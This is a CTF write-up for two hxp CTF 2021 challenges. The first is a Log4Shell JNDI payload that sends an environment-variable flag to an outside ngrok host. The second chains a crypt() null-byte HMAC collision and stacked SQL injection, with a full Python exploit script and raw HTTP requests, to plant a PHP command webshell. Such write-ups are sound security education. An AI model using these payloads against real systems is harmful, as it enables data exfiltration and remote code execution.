hxp CTF 2021
Challenge
Category
Points
​Log 4 Sanity Check​
Misc
​
​Shitty Blog​
Web
​

Log 4 Sanity Check

Log 4 sanity check-9afb8a24feb86db1.tar.xz
2MB
Binary
We could see that the vulnerable log4j library is used to log the user input when it is "wrong".
1
/* Decompiler 2ms, total 1137ms, lines 28 */
2
import java.util.Scanner;
3
import org.apache.logging.log4j.LogManager;
4
import org.apache.logging.log4j.Logger;
5
​
6
public class Vuln {
7
public static void main(String[] var0) {
8
try {
9
Logger var1 = LogManager.getLogger(Vuln.class);
10
System.out.println("What is your favourite CTF?");
11
String var2 = (new Scanner(System.in)).next();
12
if (var2.toLowerCase().contains("dragon")) {
13
System.out.println("<3");
14
System.exit(0);
15
}
16
​
17
if (var2.toLowerCase().contains("hxp")) {
18
System.out.println(":)");
19
} else {
20
System.out.println(":(");
21
var1.error("Wrong answer: {}", var2);
22
}
23
} catch (Exception var3) {
24
System.err.println(var3);
25
}
26
​
27
}
28
}
Copied!
I wasn't able to get full-on RCE, but information disclosure through this vector was sufficient! We could use ${env:FOO} to substitute the FOO environment variable into the URI.
1
$ ~ nc 65.108.176.77 1337
2
What is your favourite CTF?
3
${jndi:ldap://8.tcp.ngrok.io:16804/${env:FLAG}}
4
:(
Copied!
We just have to start an LDAP server and listen for the queried URI.
hxp{Phew, I am glad I code everything in PHP anyhow :) - :( :( :(}

Shitty Blog

shitty blog 🀎-a6c0b8b672817005.tar.xz
19KB
Binary
We could see that when inserting entries, the user_id is not validated. This is also directly substituted into the SQL query, allowing an SQL injection.
Interestingly, get_user uses $db->query, while delete_entry uses $db->exec. The exec() function allows multiline (stacked) queries, allowing us to use this RCE payload to upload a webshell.
1
function get_user($db, $user_id) : string {
2
foreach($db->query("SELECT name FROM user WHERE id = {$user_id}") as $user) {
3
return $user['name'];
4
}
5
return 'me';
6
}
7
​
8
...
9
​
10
function delete_entry($db, $entry_id, $user_id) {
11
$db->exec("DELETE from entry WHERE {$user_id} <> 0 AND id = {$entry_id}");
12
}
13
​
14
...
15
​
16
if(isset($_POST['content'])) {
17
insert_entry($db, htmlspecialchars($_POST['content']), $id);
18
​
19
header('Location: /');
20
exit;
21
}
22
​
23
$entries = get_entries($db);
24
​
25
if(isset($_POST['delete'])) {
26
foreach($entries as $key => $entry) {
27
if($_POST['delete'] === $entry['id']){
28
delete_entry($db, $entry['id'], $entry['user_id']);
29
break;
30
}
31
}
32
​
33
header('Location: /');
34
exit;
35
}
Copied!
The difficulty lies in bypassing the following validation to insert a custom $id from the session cookie.
1
$secret = 'SECRET_PLACEHOLDER';
2
$salt = '$6#x27;.substr(hash_hmac('md5', $_SERVER['REMOTE_ADDR'], $secret), 16).'#x27;;
3
​
4
if(! isset($_COOKIE['session'])){
5
$id = random_int(1, PHP_INT_MAX);
6
$mac = substr(crypt(hash_hmac('md5', $id, $secret, true), $salt), 20);
7
}
8
else {
9
$session = explode('|', $_COOKIE['session']);
10
if( ! hash_equals(crypt(hash_hmac('md5', $session[0], $secret, true), $salt), $salt.$session[1])) {
11
exit();
12
}
13
$id = $session[0];
14
$mac = $session[1];
15
}
Copied!
Notice that in hash_hmac(), binary=true is set but crypt() is not binary safe - the function only processes the input string up to a null byte terminator!
It would therefore be trivial to find two $id numbers that produce the same $mac by bruteforcing - this happens when hash_hmac() returns a result starting with \x00.
1
def find_collision():
2
"""
3
Find an instance where two IDs produce '\x00' at the beginning of the hash_hmac() output,
4
resulting in crypt(), which is a non binary safe function, returning the same value.
5
​
6
Returns the MAC that corresponds to this result.
7
"""
8
results = {}
9
​
10
while True:
11
r = requests.get(URL)
12
cookie = r.headers['Set-Cookie'].split('=')[1]
13
cookie = urllib.parse.unquote(cookie)
14
​
15
id, mac = cookie.split('|')
16
print(id, mac)
17
18
if mac in results:
19
return mac
20
​
21
results[mac] = id
Copied!
Since this $mac corresponds to the case where hash_hmac() returns a result starting with \x00, we would be able to bypass the following validation by using this $mac value in our session cookie, while changing the $id value in our session cookie until its HMAC starts with \x00.
1
hash_equals(crypt(hash_hmac('md5', $session[0], $secret, true), $salt), $salt.$session[1])
Copied!
This can be done by appending different things to the end of the payload (after an SQL comment) until we get a valid value. This value will produce a crypt() result corresponding to the $mac found previously.
1
def find_exploit_collision(exploit, mac):
2
"""
3
Finds a collision with the exploit user ID string. Appends stuff to the back of the string until
4
the hash_hmac() output begins with '\x00'.
5
"""
6
i = 0
7
exploit = urllib.parse.quote_plus(exploit).replace('+', ' ')
8
while True:
9
​
10
print(i)
11
​
12
tmp = exploit + str(i)
13
​
14
# Test if the hash_hmac() output begins with '\x00' (if it does, then the MAC is valid)
15
r = requests.get(URL, cookies={'session': tmp + '|' + mac})
16
if "My shitty Blog" in r.text:
17
return tmp
18
​
19
i += 1
Copied!
The full script to generate the exploit payload is as follows:
1
import requests
2
import urllib.parse
3
​
4
URL = "http://65.108.176.96:8888/"
5
​
6
def find_collision():
7
"""
8
Find an instance where two IDs produce '\x00' at the beginning of the hash_hmac() output,
9
resulting in crypt(), which is a non binary safe function, returning the same value.
10
​
11
Returns the MAC that corresponds to this result.
12
"""
13
results = {}
14
​
15
while True:
16
r = requests.get(URL)
17
cookie = r.headers['Set-Cookie'].split('=')[1]
18
cookie = urllib.parse.unquote(cookie)
19
​
20
id, mac = cookie.split('|')
21
print(id, mac)
22
23
if mac in results:
24
return mac
25
​
26
results[mac] = id
27
​
28
29
def find_exploit_collision(exploit, mac):
30
"""
31
Finds a collision with the exploit user ID string. Appends stuff to the back of the string until
32
the hash_hmac() output begins with '\x00'.
33
"""
34
i = 0
35
exploit = urllib.parse.quote_plus(exploit).replace('+', ' ')
36
while True:
37
​
38
print(i)
39
​
40
tmp = exploit + str(i)
41
​
42
# Test if the hash_hmac() output begins with '\x00' (if it does, then the MAC is valid)
43
r = requests.get(URL, cookies={'session': tmp + '|' + mac})
44
if "My shitty Blog" in r.text:
45
return tmp
46
​
47
i += 1
48
​
49
​
50
# mac = find_collision()
51
mac = "QAhL.MoHxwRM3Bt/pMvSrjxnRCAxaim7VAtMVwCnNgsjtlWO3AKBcd1WY9NYPrxtUrTluTorPK4laJKcJydWB0"
52
print(f"Found MAC: {mac}")
53
​
54
exploit = find_exploit_collision("20 or 1=1; ATTACH DATABASE '/var/www/html/data/nice.php' AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES ('<?php system($_GET[\"cmd\"]); ?>');#", mac)
55
print(f"Found exploit: {exploit}")
56
​
57
print(f"Set session cookie: {exploit}|{mac}")
Copied!
Once we obtain the payload, we first have to create an entry with the malicious user ID payload.
1
POST / HTTP/1.1
2
Host: 65.108.176.96
3
Cookie: session=20 or 1%3D1%3B ATTACH DATABASE %27%2Fvar%2Fwww%2Fhtml%2Fdata%2Fnice.php%27 AS lol%3B CREATE TABLE lol.pwn %28dataz text%29%3B INSERT INTO lol.pwn %28dataz%29 VALUES %28%27%3C%3Fphp system%28%24_GET%5B%22cmd%22%5D%29%3B %3F%3E%27%29%3B%23178|QAhL.MoHxwRM3Bt/pMvSrjxnRCAxaim7VAtMVwCnNgsjtlWO3AKBcd1WY9NYPrxtUrTluTorPK4laJKcJydWB0
4
Connection: close
5
Content-Length: 12
6
​
7
content=test
Copied!
Next, we simply delete the created entry. This is when the user ID payload is substituted into the SQL query, causing a PHP file to be created.
1
POST / HTTP/1.1
2
Host: 65.108.176.96
3
Cookie: session=20 or 1%3D1%3B ATTACH DATABASE %27%2Fvar%2Fwww%2Fhtml%2Fdata%2Fnice.php%27 AS lol%3B CREATE TABLE lol.pwn %28dataz text%29%3B INSERT INTO lol.pwn %28dataz%29 VALUES %28%27%3C%3Fphp system%28%24_GET%5B%22cmd%22%5D%29%3B %3F%3E%27%29%3B%23178|QAhL.MoHxwRM3Bt/pMvSrjxnRCAxaim7VAtMVwCnNgsjtlWO3AKBcd1WY9NYPrxtUrTluTorPK4laJKcJydWB0
4
Connection: close
5
Content-Length: 12
6
​
7
content=test
Copied!
Next, we simply have to visit our webshell to get the flag.
1
GET /data/nice.php?cmd=/readflag HTTP/1.1
2
Host: 65.108.176.96:8888
3
Cookie: session=20 or 1%3D1%3B ATTACH DATABASE %27%2Fvar%2Fwww%2Fhtml%2Fdata%2Fnice.php%27 AS lol%3B CREATE TABLE lol.pwn %28dataz text%29%3B INSERT INTO lol.pwn %28dataz%29 VALUES %28%27%3C%3Fphp system%28%24_GET%5B%22cmd%22%5D%29%3B %3F%3E%27%29%3B%23598|dW8W.oyZd9VSfcnVaiWE2c8pYNHaOyXhBIzpXc2TTCPlPzvRdcHvMA8..6O2AftmrQYa287BZgFsLd9/Ki0ik/
4
Connection: close
Copied!
hxp{dynamically_typed_statically_typed_php_c_I_hate_you_all_equally__at_least_its_not_node_lol_:(}